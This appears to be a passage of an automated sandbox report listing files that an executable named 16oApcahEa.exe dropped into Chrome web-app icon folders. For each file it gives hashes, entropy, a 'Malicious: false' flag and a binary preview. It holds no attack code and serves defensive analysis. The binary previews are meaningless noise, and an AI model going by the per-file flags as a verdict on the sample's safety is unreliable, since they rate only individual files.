Preview:	.PNG..C.....`.....!.j..6..+a...2..^...YN..(..>.{6.....4+.1L..2..[.....&h. .}..7g..}.~..g.g+uF..A>...1.&..+..\..cG.!e.......(&.L..!..5..].....g.NsM..ld.HjI..?ft.... .9v....'.....Y<. .-.R{....)...v...b...ar..........Lw:o.5....v....Oq....7J.V...9S...Z.J.....p..yFL..`QO..{.b6...>..../.v..7@iQ.;......1.&"._.........j..d..m.$......j5b.>...c.J...3.Z.w(..5L....C....'3..v.G..dQ.B .....W<....p#..s.\.m.2..L.+.0..u.....&.;......WR.LI..Jv.-\.iE-.2c.:Z2.>jf{...L./#..........Wt...&....f.FTS....M.R.+7M .Af...+....A`c.O7.e.[....o....4..b9.>.?.Ux.ph. Z.luh...%d/...a..^.nX8.d *..B......[.Lx..F...7'(f.U...T.....x..I..=......P.ZB..........JG..~.>....V../.cT...~.{c.JC\|w.........5.+....sm].>.....0.yU.wzb....,I.v:.....(ge.B..0..u}.`..$zh..=.$...G...ZUn..C.....AP).6..,..]>+..^.feZ]....y.....{R.I7.aE..6.Cj..Q.9U..o..9....9.lsy......z..B.f......y2..i.68.6.;...!..Zwao...w.M..P..j.+..-bb.;..q...b..%.)...Z.dF....1.V.q.."}..^...Mb>..q#.n..PU...\..O......

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	12565
Entropy (8bit):	7.987975748819479
Encrypted:	false
SSDEEP:	192:F/uLlWCCCD0iA8UVc9zxoBly/9aYhCv/Wm5yGPYPdbK6jqW4:F/u0CuzVcB59tpmwaK0A4
MD5:	3F34A4BA137DBBB33398974CBA9410C1
SHA1:	FE40B94D1A25B34A32E857D6BA85B4821CB025E9
SHA-256:	A7367B8DDE69469F6A6BEF58B3DDAE443148733D51FC2126EF2C1DCC8C5751FD
SHA-512:	501E7DB9800A8320B5C9A5AE57CEC33CC1710C759EAF97F3DCCADC385A432715956559129B63EFFFE3FA0433C6F52044DB242EB6B7139381FBDF8D6FE46D9110
Malicious:	false
Preview:	.PNG...(D..G...U.H].a.AO..!0......J<C.;UUgd....y.-....(.m..X..._...u._.R.....T+...#..:;c.'..,....G.....eJ..f.)4. tj.<.4..{..q..I..2...O.W....?l.@..1.....3,...&..$.G".J...\|F.].....W..>#A..-.\|oo].6....[...m..{.WC..+W....y.....W..zE...ND.T...x.i....#+.Y.....o...6{.`dc...8S{..6..v.Vt..zB........h8jVy.&.q..~.f.j.....G.+..\|.Rgf1'.~.6.r...U..Z...Ka..5....A.T...A..].(<.f.~d.<@..6b`0.Rh{.-........]..Y.o.}....2...ZG.\...&....HR..\|...k_.x.....0..~...._f.RL1-..m..-z.!.L.,Q...!..x...U..g.L.B$.,_.>....7.8=.f.s.5...AP.Lu.j........V../........R......1%.[D.,.^....D...X.r?{..(s..ND21..$zL2<.y.}...t..s..A.f.L.m....g.m..10%9...-O.e.yJ.gkt....^.NU..Q....F.c.V}.o.....:Z}$....m....X..+}..'..G.6.:.d.b..b..4.HY.M....!}...s.d.A....s....0h...iY...y^..=5.R#1v%P.u...A..}fL.....EH.x!..&.....[*...1.....S...../...)...W!.o......!.W....0..uv...&c1..e..h.>..4...u.+....Ro.!..?.f10..1..2n..1)..G..`.......O...BU.wM..z,n...M.V..,...4xg.~!....}....M.Aa.N1..V.A6.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1892
Entropy (8bit):	7.901700189177559
Encrypted:	false
SSDEEP:	48:pi0XGT+iOsLLNbCq8kqEKXAG6pfHLEkHlEOVGyJD:wSbyRJNKwNnHdX
MD5:	DCD3622440F49F8D29281C13C16A6ADD
SHA1:	2186C0B3CE8676C329585AC447C6BAF0A19B95E3
SHA-256:	F23367F0FBED36C6908246A6865D737C0CEC269570BD579E1C9869F8CD4B6156
SHA-512:	8AEBB3183146347BCACCFB7397DD5C6C6DAA3DA41A0413A33E5FB18957429B03C0387DB6AEB54F587E0730F79F6820E3CA186B916329054F62B11A0B5885F05C
Malicious:	false
Preview:	.PNG.<.\0,a5K.-...O....'.......j....h.......d.w.i....a\|.p....b{N.....0>5h.....{.B#...&...Y....i."...D..c...]....w.....m./&.V...1.x5..8<...FK....^..q.q..;..........l.0{..L.I>.u....U..F,...(.xb.@.w..l..1N..a.%.,Z..6X6W,S...E....+....r'.?{K..g.%.....KO..80..........1._`d#'.I...\....".U..........5.......Y..hN.'.[.25."\..CX.@t.c..pO/0..q.+.:...&#.N..).k\..?W.;.d..vHW..........P..S.4x.t..'.":d2...\aUgp.....C.......ry...w.........f..d..M.B....p...=-...3~1.o.u.N.abmi....K_..eJd."^oq............+.T..;&_H.p.A.O...u:...X.X.o.?.aj...-.'=..-....aJ.....\I.x.tK....TK.....i...;........_.)....C...X.g\|%.....k...:.3.........4...@....'.``....PB..i#.X1.e...CT....L.PI..b.i......g..4..YU5..q..\|.Y1.(j..TL.o./..t....B..%....^.rR.J@J.i.. z.a...\|....\|..){l"V.s,R}.?e..D_....4(;x}.r.O....K/..p[CP.\..K..l1P.Y..........*..Fs..Z..e..2.T\|......9.8... .C.$(.&G.h.l.I.E7.2..[........i......d.VM...c.'.E`.e..O.3.d...J>....91[......-.G=m..L.."+f.zGO.G....j%.F....s...]#.S.B..xu.7...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2715
Entropy (8bit):	7.928966765741551
Encrypted:	false
SSDEEP:	48:LxTyeb00sI4C00mWauWuHcu4nkGUbmeG2g5XY6pBHpAH7vjeuJD:lWy+I90gauWuH248ox77e4
MD5:	DDB783216DDB953CBBD8D2390B7EC2A1
SHA1:	B273870E68DBBB5595B964397D112D0FE2F8B6B5
SHA-256:	8AF469CDA70269743FC8D3A00F4FC87EA80EBB7FE34773B676BCBB3D515FC552
SHA-512:	1EC5B3BD2DD7B0FC5958B5FE7BD0CED3817D26E73B0595D7D12EB389ABC62AFD7872E80786F6143390D9976E553D55DF762C404C2C3F27166958C49C08A84913
Malicious:	false
Preview:	.PNG..K.!}&_(+"?.....GR[D....>^r...D?.s.d.w...\....{.......4e.H.n....3_.....w..&..f....$..8....Z+..O.iX.1..C.,....s.v.,.[.t...o.m..HCa..2.",r.B....^.n....5?..,..9w%>.ACcg..a.-...\|0z.1W.`/..;..-MH..."!B/:...Ji..+.`.5`...a. ..'....A-..c....{G u.r...E`..Z.\6....I..F.)...]...........$.5..]`..e...&.\W......w...e.p.6....xP.s..(......jPH)..4f.[.3....Z#m.!..S.....{......R....jU..........oKG9...w.lRI....L...n...sQ.(.........d.#......c).m..G........(}.6....4.......2....N..E.......S.z.....3......(...b..o(...Z.gL..,..l:.....P.1)..0..Fh.:..w^....s.pF.g.DP0....q..&0.\|...H....<q...5.. ....s...8.d.....Am.$']z.^r...@..A.hh...U#....t-..:...E...T.e.H$....0..9....=..e..,...R...s..... .,...0.\|.V.#......>.3E..c..\|.W...P...c&a..>. ..}..Mo$.D...dK%..1O......F'.<. ..u~..S.;>.jh...s.[.5.m..X4",..B...kZ...F.zJ}ZG.0..yZ.bC..j.A....I.......gzC....Z;......C'..%.v......A.?3)k..E.Gj.~!=._#.b...`.D.n?..'H..b.J..0.N.M.1.......c.c.I?...iH..;...XV...<.m(....H..f../R.8.2$.J.T

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3330
Entropy (8bit):	7.946215115926001
Encrypted:	false
SSDEEP:	48:gN+qCqol9xcku6WwBtw4SbBiUnX0I48cEVYOj+8//4Bfp8vtR5QTY8+LUXFHL+GT:gN+BbDx0sUnJcTC9/wf8t/ub+AY3JW
MD5:	F47F25960DB9CE6D410B146C1FE0431A
SHA1:	BCECA0C18252F5B2DA9CCA83DC304046D9D17619
SHA-256:	4AF1CD7CEAF28A44E0748F6740F2CA0C7E6C5AFE48D704BAC9A425BC74CF5CCF
SHA-512:	7BDCA7BA4115A47CFF7765D25960F4B8669C4B83AEF785B0D48EDF2FA8EBCBC6500470A3CDA6DBE981587035314ECFF27913C506C16F8741A819940547E93BF3
Malicious:	false
Preview:	.PNG...\..&.Z..V.k.\..{LU.m.n+W..D..m._.\EA.oP.._.@.{.S...R..#...E.w.v...!....-J.....Z.S.(.{..]...b..q.D617g....=6.....T.......x.U.H....$.;....^W..,..`..nN.....{...L..V'.B..i){E.Y.A..Y,.3/.....#...e...!m...n.Sg.p?..o...q.....{}........0.$.....\~i.v/.Qh....z.{...Y..]T.,...;...{/.".]M..s.....m...+.!.b...L...{r.X....b.J.......?G..;>D....EJ....R8L......,...W.M..1.O...'m_z..`I.G..~J[..V...d...&d......=.T&............k...nI7U..w.\|..{.=.w.<&....p...xe..-c%.g&.j..T.....sQQ.Lt.n!..1.....;....\..%z.....H....9..a.1.x"...A..w.....(....Y._{{.R..a.r.C..K3+..V...%X.H....].Y&.X..I.._..(j.U._.O....;.. .l....G.]..Q.'o..]....n.....Y.....?E...drG..p...RuT>..:%.:..}..+.e..g..R.>A...{.....SeW..&....k..&4...@nD.h....~._........r.]...u.z{.w...1.A..2...rr.e..j...i....:.).x. C.F....W..p...p..1.jzgb..k.'-..L.W.'....je.Nf........x.6.....%9..T<.l.},4..s..N...Q......r0..^zi.k.._B...~3........&T'.)..4..Y....0.]Jp.../....p..<.\|......$q>..,W.....j...9.p...X.......,0....w...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4188
Entropy (8bit):	7.959533569064127
Encrypted:	false
SSDEEP:	96:nR1+lmDHdNgccoUR0YiWniwaA1TZQv+hd90CTbrmkssAk:nQc9NwoUR0YiWnrZQvAd9lPmksVk
MD5:	C63BCF53ACA7D1A35BD38E60F2841D3F
SHA1:	B44E8C948F11791669317D19D556024743F9AD47
SHA-256:	8EF6A758EE51438035F5FE498FF2187136A23BB59662F28AB89959DD2080A4DD
SHA-512:	4D81D3D51D8591B61E5D7C41D670EF93C275CE63B9B3550889786B9BA6927C587BDCCF2E2CD8E1FD2F924B786DEE094471BB77FDA4DCF95EE9D531C0402AF28C
Malicious:	false
Preview:	.PNG.......D..X.7.@#.@V..%..A.`!D(.;..-N..J..D..}....'t,...E..P"l..J..;j.$..AT.....B\/.....'......i}?...^.8./..Vb..%.@...vv...K.n.{....[~.>P.._M..[.\|i..=.=..<v.....!96..3.aCo}.:i..V>..ww.3...x...7.....l]/..@cuC}5Y.....K[#.r...`...~..].y...?..3.d.;.7<"..L.{.?%..l...5....+..Bb...J.....-]...r`.H.=.6..dM......g.U.X.-.......8..Q.....%.Z.3xnu..U...:...7Kh$.q1...x.x.X..l..ga5.n.....I.>C..6%....b6......e.G.-8Sb...h!. jDU.sSV.:B.q... ...V...jkAz.&K...e....;..o....T...._.[....s..b..$?v...w....1.p..-...fc........Q.R..qr.\|k.$...#...+..<.Wb ..NgNlr...y.E.y.G..r...ch,\....C...Y...[...;..Qk.i...........}..1.o...>...+.:+l.n..6....\|.`.<..4..8....m..3.E..{.KJ.4v..{.S#r.c..@...."5`\.8.n........0\|i.......^6...AS....&5E......sJT..w,...H.J...c....<.6...\|..`#...;.&DS.ip.N....V......~.w.C..5.yvF...z......m.)\..i8.6.K.\|%.......B....:.._..Y.5...b./....q#....R..czu..U........F.@50t..H..d4...%.].z.S..v#..s{~....t.[..N...3..fG.....d..l!.&.m.q._..G.U.W...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2267
Entropy (8bit):	7.924845798481728
Encrypted:	false
SSDEEP:	48:YnPAKX+Xt+jOo3ES3LkeSXHYG8xqXDjk+Sad20HFosOLrIs8jPWfCJD:Ygo70S3sXk0TjvSad20HFozLc9ufk
MD5:	7AE117E63EBEE3D72EE9576AFC1520FC
SHA1:	E2595F20E2DEC61F55D7D8853AC79ACC9938FE4F
SHA-256:	37B2716A2702FD5ABDF7A7937DCCD359F2A5534548DD06BBB3417F8F5F7D5CB0
SHA-512:	2BCBBD9F63355D2AAAA5D73783F499ACCDA7BD173D1A52E08D34967E9CD739A8DA2125F1FE5B134582F9CA642C01CAF31383A13F413E31A7F64BE5D9CF64797E
Malicious:	false
Preview:	.PNG...^c..7..g../............Z'.lp..tm~.....i,pq..(..e.-.u..cm..7.f7....Z@v.49.u`....V!..fn...g;...j...P..H'.....1.).'.^.f.../V.m..E....v.ja$...@..j.A.s...F..m...h....VN....<.,..V..n.q7....G.........../!...1(.+Z...Y..0x..x..~....S. .p...p.K.{.".../.....i.^.>....~.M.fN...6..n.S...RE......W..8Gk.].`J.]..Tr^..-..tO....[q.q$......7.?.....lZ.?... .....q+M.\.}Z...S...v.....f..\|.P_..i...b{U.<~.K..6..56..D.@...j.%.)..2^+........u...a.....\|Y\).......F.>>..0T.x{d....wM.... .........]..U../..i....&U..6b...Y-.....t.?.....\..p.k...<Ni.b^".Q.}..I.#.M..D.&.j.........f.. .ZN'`..>.1+n....!...1....c............?O2..../x......8...$......<."....]....(X.a/.D.F`.I.E'.%........X.2..1.2.j.u.......=F.CG.wV..........<Md..kl.?..:.t7Uk0".....R.. .N..b8z*....y.t..Y...K..@P>.....`%4...9..M.qo.:.'.5..k...44..84.N..~.?.xd.5...;.r7.^.E..Nz.G..H...QR@...,...up..D.v....L8...\....d._.)......D..Q.....nO.qU....3=7...>-r....F..Ep.R...X{.D0S{..h(6.a.NJ5.A...U\|#..-.y..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1547
Entropy (8bit):	7.878358938005125
Encrypted:	false
SSDEEP:	48:b2/YE5oWintIWRcT7htKIKxPM+Q/zUnJD:qli2Yc6ZPMWh
MD5:	131A74A4AB8B21228C6534C4110E9BD1
SHA1:	E025E035D7D2ABC924645700C460135D1D694453
SHA-256:	4BCE727D442B42D58A4D6A510C7122740ECBC48D8CDF7B3F4158B2A4C3BB12A8
SHA-512:	41794D575BDBBDB758E3148BF36D550BEAF533837DAC8CC06F25BD70D15338A9B737A3BFE3A584E0FC1D0117DAD457400F98CFCB4B260AD229B360E95108D6AD
Malicious:	false
Preview:	.PNG..a.9.Wo....k.o...Szd.jTW.Ig.o..Yp .#.G;......L_k..Gq..x.....;ys..Y......!...~......=o.B....x;ni...r....d.......Y....].J........2PH.4....._......j...;....}....#Qs...gmo...=..sG...;J..p=\.a.n.AT.......A.)x..~..l.......]...X..p.....x..fP..&.-...ZRe..`..J..87......K......C..b~)h.v=(..%w........{b......o.!.fm1,.)....Y........W......n..'./.M.w...(....?.h`...t....X..M.6.C..g...F.1..R.....k..((..!.&.(S.L..A..uy.&..Bsk...p.e..t.8...H}y..m[.....aKK..%."g.~$."[....D......,.9.........s!.#]u....\|.(.h 0......@.y..........l...\+.J...cj..)m\#.<.....Q..+62.....uc./.....KG) "..B...o..FN.........kw......Q.. p.......@/..:O.EF...'7.....,..5...O.R......r..v..M.[..cg.9....N2j.<..i.........56_.E,.r2s..W/....#lDy..n.*AS......=...?.....#..$.3.i#z...{V..Q......K..V.\.@...H...S.IY{.L.?.2...3....mK...mg_e..t..}}./..............].......O8..?.Ha.5.6..>.qC;..f.8.M`3...y(...J!.._.l........1O.7R....k..>.A..pT.T....[..n..O..2 .`....v../6..........N.../!...Ss#.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4375
Entropy (8bit):	7.955690048096855
Encrypted:	false
SSDEEP:	96:XCeOHbdwGMvQkyJBM/WYevrXd3TFKt6+m0xyTCxlyA83TkXk:vyeGxkSeWYeDNpKt6+HyTZA83IU
MD5:	24845363ECC593A67B84E41ECC07966F
SHA1:	E8066BB84699A105A083CB8C33CFF9914D81ACCD
SHA-256:	B63EEE93D9ED77853A963F2670B5482C4ECCFAC2E2B84D643B1B6BD1DCC2F4CF
SHA-512:	B41D4079A5E03C2EF6D6E0BE0583E2DA191F16A5F79D5696BF0287ACF9978B4BE76945FA58B0877E5949AC385C58F1215E87925BBD080D0DC18A3E60162A2D67
Malicious:	false
Preview:	.PNG.P+.....{7o.,..bv.....~.~..@.0.,.y.w..0V.o.I..P.'B...A......m..]nz..`. .H.6..\.0Z_.#.N.6....z Z...I...'..&".........Wh.@.xS.y...6...g.:.^>ju!mkZ.._....-.`B......o...4F..C.C.Sj..tk..<g..n.6..46.\..../..H.}Ad....z.._.%;..nN...d.w!..x.f.V.h.d.b.N:k..t.bXAk..:.x.g..C.].{.5.....%....?ddF.....r.Y.....+.0...;D.8.Z...=Q..iO.M(K9..)a....(....$w....p}....L...].a..,..... ..!0.......eG.~.\|.....P.Tr....jd..]8.M.8a"/.>...d..+-.g(......?J.T...bD...=.%...t?..w...7..Z...d.......d{.\|V.&U..z..&wf.".....g../r....z?5.c7LQ.O.9}.A...A1Z..hl..41<.#........5.h.N..+...2{..^..'zE...v.[....P..:a.Qy.e......Y...m.83,.x...C..@e..8.t....:..2.ZB...x7..@NP.uy..L.h!..Q........@..".\.%q.......i...{.../.(..m.........%.V..!@..9\|uQ5...)....-..m1mT.u..._z..x..EPz.)....}V..(`..,......w....E@....jZr.Hq...?.Ev.......;.&.S.f.....s..6-o.0:O.tn.#fuo.W.B\|S.#g...C...wv^.....=A.l..1..Y!JX........%+.A]J.h...a..c..9.........7......rU.*.o........Dl...T.0.=N\|p.....'.p_...YHi/..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1224
Entropy (8bit):	7.817537118186439
Encrypted:	false
SSDEEP:	24:bhTBxcl939R41OMf6DENooLhh9FS8IPb9SgwfaiOL3gJU4tNYEbp+y9pbD:bhTP8fSjf6noLe8IZrwfUQrtnpJD
MD5:	4C3C4F3D9A8C9AA39731D4A70ECDABFB
SHA1:	212EE823646258F7AD267F59DE84BE5274F4EAFB
SHA-256:	1215607C54F0707B9D5BBDAE5662DFB025EB7925C4C2FE47FD2B54D3EA247AAD
SHA-512:	03931BDB3FDC46B0D1416E2122EED81E7A03DA84A58F9B0A70E3065E9C324BDB7FF756E3669FF24D21F4ADB4F171889FEC20A2E8E5ED42E20FD626DED5A9D134
Malicious:	false
Preview:	.PNG.....o.7..2^...5.%.....co)...{<....M3.P.2.C...6V...'.......c N.}2.I....9..iL..K.j.A......)....`$@\|....1!4..E..i^...^8..C\...H!.-._W<@...=.%.a@._f.Sr.^]..e.M..E.&k?.k....D..`}.....g...[G.UQ..k..L,6..c.6xC.q. .Gu..`......c..%.T.....t.....w...N..n.J..7...1..nH_.,..d..[2..../>qwP...cl..."..\.d...D.F..x....1...5.'....>.nK....!.cju....K.o.#.^......]ha.......LG3.....u.EuF...1.j4f...3F.8$nv 5.H.-B.i$..f..".....Qc...[M#g? ..55..>...EC.l.......Be....r.$...M.TW...., .'PR^...dX3.O1.....bHN.kS..o.q..-....pI......f{..@...~.>..Q.k.............3.58m.%......."...B...'.ZQ...:.Q...M..vE.\....\.n..`+......2_~G.6k......a..........[......!.....#..J.Q.+...H.....y2hr..%<.e2.%..._..4...F...s_.@.;?[..{.........f.....?..oO.V.wiy........%..7.Bx.W..v~.+.'.=T[.SS.#.....^..?.p..,...pX....w..L..b&.a.cE]>}.:...[.;..x"db.D.".<.,..d.N?8...?.L....3Y`...;...B.\|#..1q.............Kfg....Q....d.,.m...\|.5G..&.+]..0U.>...F.\|...+P5.>..E.#.]d..\.Dt.:O,...>.$..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1482
Entropy (8bit):	7.858228963520847
Encrypted:	false
SSDEEP:	24:+eqzWCcw+lrJvqbtYrkDp4CDQZB44PTEY8fbfHxIb6KHcT64n+IeuuS5zmPkgq0X:+eqHcNSYQDpnDQA4PTj8jfHxIb6K8T6v
MD5:	F51FA6FFA7FA82011890F8C1D0682AE8
SHA1:	6AE64FC22411A4213F20D08A4D5423AB33C13E24
SHA-256:	7C55C9811E48DBD7D14595168D8EC1B9777732371D95E24080E5C635503975CF
SHA-512:	63522B2F5293F10E4760FBB17FEC3FB86820B59ADD5F14E8B1BC33F030EE9CAD6A4E1B85C51BDB05144C2FA9DDCC2E0E45A27D34EA9DE9BCC86182956B323FDA
Malicious:	false
Preview:	.PNG..:.. .=...XrAQA..b.H..L....o.{I,.x6.U4...>m..e{zN3.$$..r...b..6j.H.E.Ka.a.W..66~...1.....im[X......m$.......p....xY...^..51...G.F.,p....S...e(.=.....\|S........&....}..C&...g.?F....2.Js....E......}.../L..v...@.$\|.<&..8\|W6[...%.xK.r...az..b....PG....~.V.......(:.JU&.....Za.I.Y........T.!8.t..M..N..c...b..... .,.2~.....U..,.P...:+...I....W.L.y.;...=....4...+..k.......3.O.;..$...t..&&.n.x..'B..$.5...o.~..g.$.....<YRG.....j9d.l..a..Ky..lb.Wi.....~6......a7..4x.-.......9...Y.Pj.,..H..=\|....G...\|.FT.a.?......(.F&..\|........\..q.R.'.5...e..d.R...b.a...J.hr=...(.. :.I.7....y.=\.r.g....Jxx.<@......Fe...{....[p.?...%...t..G8....d.....>.R..i...m......o.Z~.f,. ...+.c....f'.h.[.....1.A"...#.............8....U.@.6.P+.Umvjq@...6%J.W.*....x..}.....F.#.NJN..B-.!.........-.@.oA.^B>zjz..7.bq.)...`..#&....F.. il...\...x....R....j.D(h..F...W...Wp17O..e.Mr...R.Y........m...C.AA5...5q_6Y.7...01.....p....f..........z..C.-`..F:..2{.%HE...o..F.0.fl..Nh..n.l.0...e....O

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1634
Entropy (8bit):	7.857687985875454
Encrypted:	false
SSDEEP:	48:klrWCFd656ezw/9YHZmojgCKn7cxpD5fvoe1JD:2rjFMggyO7gzcxB5fQc
MD5:	E88288AC87EC99A6B725229A188E13AD
SHA1:	3BC37A425A6D747D8CB0313FBB7ACF657B28FEF1
SHA-256:	46879C9289B2A5B63015DD8621BFBA31DEF3F73D3EAE54CA3C305FE8247F74BE
SHA-512:	EC4E1CE073CD828DBABF4092129D35A8799CDD6072DC37342C58004FA55780043747C552FA44F27970C8874E69BC41BB124E44947AFE6AB5CE7F1B7267B6345B
Malicious:	false
Preview:	.PNG.E...c}...`8.......O...>l,2..MgE..c....W.kt.b.-..%...L..U.......5g.8.P.-..!...=C0...VO...Oc.....S..........R...z....i...3 .A.oZ......{<W.....'....k...h.k.gT.g\..[...+(.....[.e...\|.$.D.-.~...t....B..R\u.{...)J.../t....R.-...xuZ.mj...o..:..R\2..&...JKSg2..L.n7.TV).......k..:.S."5.....#..j..s.Z. P03(.k.....rP;kW.V.I{)4...EN+.......7..Z.3..AUo..s.....;V.P.n.....c..;Z.J.Muy....>%..A.&`...>K.$T........R..f.0u..rA.q>0-...f....0ZP...d..#RvT.2...\|.d5._\7.\...^..f.......C........U....E.lR[.L......<....W<8....v..E.%f.(.udHl.m..2...&e...L...2"......PZ..mo.V%\S....=..+.4Y...rg;U.=.g..d..-..m.U...9...~y...../....R...{...:^...W....^.j...D..Q/..O.....CH,.<....x.....C.-=...H..y?.G......T,.:...v...c........<...a..........:.....N....z....~.....o.V.w....i..K.b.P.=...w..t.P..R.(....1r........%.n?.'...P.f}'..?.u..;.bV.$..`.?#.gv..S.P.cQ=..").iDV..l........+..\....}..h...........j...........<wGt1kj.F......g.....6..^L..a....ua.i...E......2.ZDk......k)...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1839
Entropy (8bit):	7.899074691151817
Encrypted:	false
SSDEEP:	48:526YzwEa4RIZbLu30vuYkYhfdseLScUaq/LJD:5crTyLfGxsfWMShaw
MD5:	003AB919363A9A0EC1FB4D00BB7310E9
SHA1:	1AFA465C4A889A17858A992BFE3B8395467D06F1
SHA-256:	59AE21669CDC9EE6A2530F48BDE45E8FB8E57830263F13240FE4FFBB63CA09D8
SHA-512:	DB342A07BC5CC6A18F7A332611BC90C7D61928CEA0E7464C30812FBFA480AD48D6C1EA96AA9E67667763F66C391707CB9EE04E50694BDB28024821DF9E1FCD73
Malicious:	false
Preview:	.PNG...vW.d....D:>GBY.N..o.]i.!..6........S..7..x....f\|....i.f".H...%.+.Y.......M&....D...8....E...(l.Q.N_.h.9^.....8U...x...:,_.\\.Xr3....6...@....7..q.q.....vW.e.f...]..l&%B_.>..B...'....l.2.-2..^./.tl.v......7%."/..~......g.0..X......8...nt./..S.y.h~.'.{.#Qp.r_.?Fk.k.h+O.4...9.....,...jQ..YVS....h....';..I...z.mI...8,..m...r.i.q...{.4.....d..-%....r=.hP.....[......\|.l....Rf.+......j`.._f..\..U....t"..}.$..VX..[...SSe.IC....UUW..../w<.m.V'..Q....9.......nmQ\sa.e....x.....H..\W.......5.k..-+FWO.\Qx...Z.1.y./.in.....~3\|.P.o\.Y.....FS.K/S..XI.x-.C.J9O.(.t..N1.pOM.8.p.#..fi/..1!......\qt..1.....E.$.\:..]...L.RtZP........{.....{.{u:F....H.U..~/wI.S=_p>@.@...{@...I...P)..I..V.m...x<..].r. .......{~.@......-r...;..U._...4U......:....s..%=...O..Y.Hb.....g.a.....13..^$...M..F....X1.L.x.Xmr.'.p.l....o.<.M.^&..o.'...r..\|l>.....V...;.S.)..x...l&k!.L... ..]{JM.....4.d.-v...&. ...hS..~x....k[....M/#H<B..g0.....=..........[.(#6... .uQ;.C6+.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2342
Entropy (8bit):	7.91295266707623
Encrypted:	false
SSDEEP:	48:TMpaqCPDksT/bFIwIXAVXpFV7svDKyraox/p/G4NsQhUJD:TobCPjT/uw5RlIRrtxez
MD5:	3B125C4C47836283D81090A72CE62AF2
SHA1:	E074D71D945DEDAAA90E8A779C6E1C5A5E4FB51F
SHA-256:	3B85CE481B99DEAF30D87A2D6D505A61E935AD94999151F31E8E9F30AD08821D
SHA-512:	8E9D60E0F0B606A065DB3DA016F3ED4D775D0BFB9C9AFD68EAB6E37C061F363096386D8E1DCB3CAB9BBFB0C5180F2C8C8DE6E28BCC38733396BE3F3763F243AB
Malicious:	false
Preview:	.PNG.0xg..............x......:..../..<M......l.N+s.j..v.K=..O......t?_.. Ao.....6.....Hu.g.h.Da...C.2..V.i...29[..@...Q.....8......pL.;._9>...,..,.._.G.a_aG.G.S........0...5..h....39uYS..q6..e....\N.T................~AsD.....3A...5.....>m!...z..-..#........G...J6G.>......R.A.-...j-.....0.....X.kj....[..%...Z..#G... .< ...S"...=.wKh.>.d..Rm?I@d...e.....^.;...f..i..<.i..1.....)..C......b.&...z....G_8........D.......X.$.i:..V+Gs..>.....A.+2 .m..6......w.........@o..h...D.a...-.D.A...0"d .&.-.MR...e"....##,..H........mQ.`.IV..Uj.C..h..Dz.n..G..Q5.>...m.2..........@2....X...gI.{.`.>.3....U}..6..........G.i.J...:9....0...f...............W*...P:..'eXO....}...gP....(;OR.....J...0.uW...%X..rF....4.S...4.../"....Q..#.5 ..Z...dgt>#S.)..r.L7M..4...u..J.esn./..Z/].]7.?c`.&.`..gU....Z..I..l...O..V..=...:H.I......K.`....>..j6.T8....w.&..~...:V....Po.."..G...:...A..f.lj..#..7......d.GAZW..F....D.t.^4.&..r..p~...N.d.f5..).D...6s.. W.;.4...V.fMz..}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1569
Entropy (8bit):	7.865774403874601
Encrypted:	false
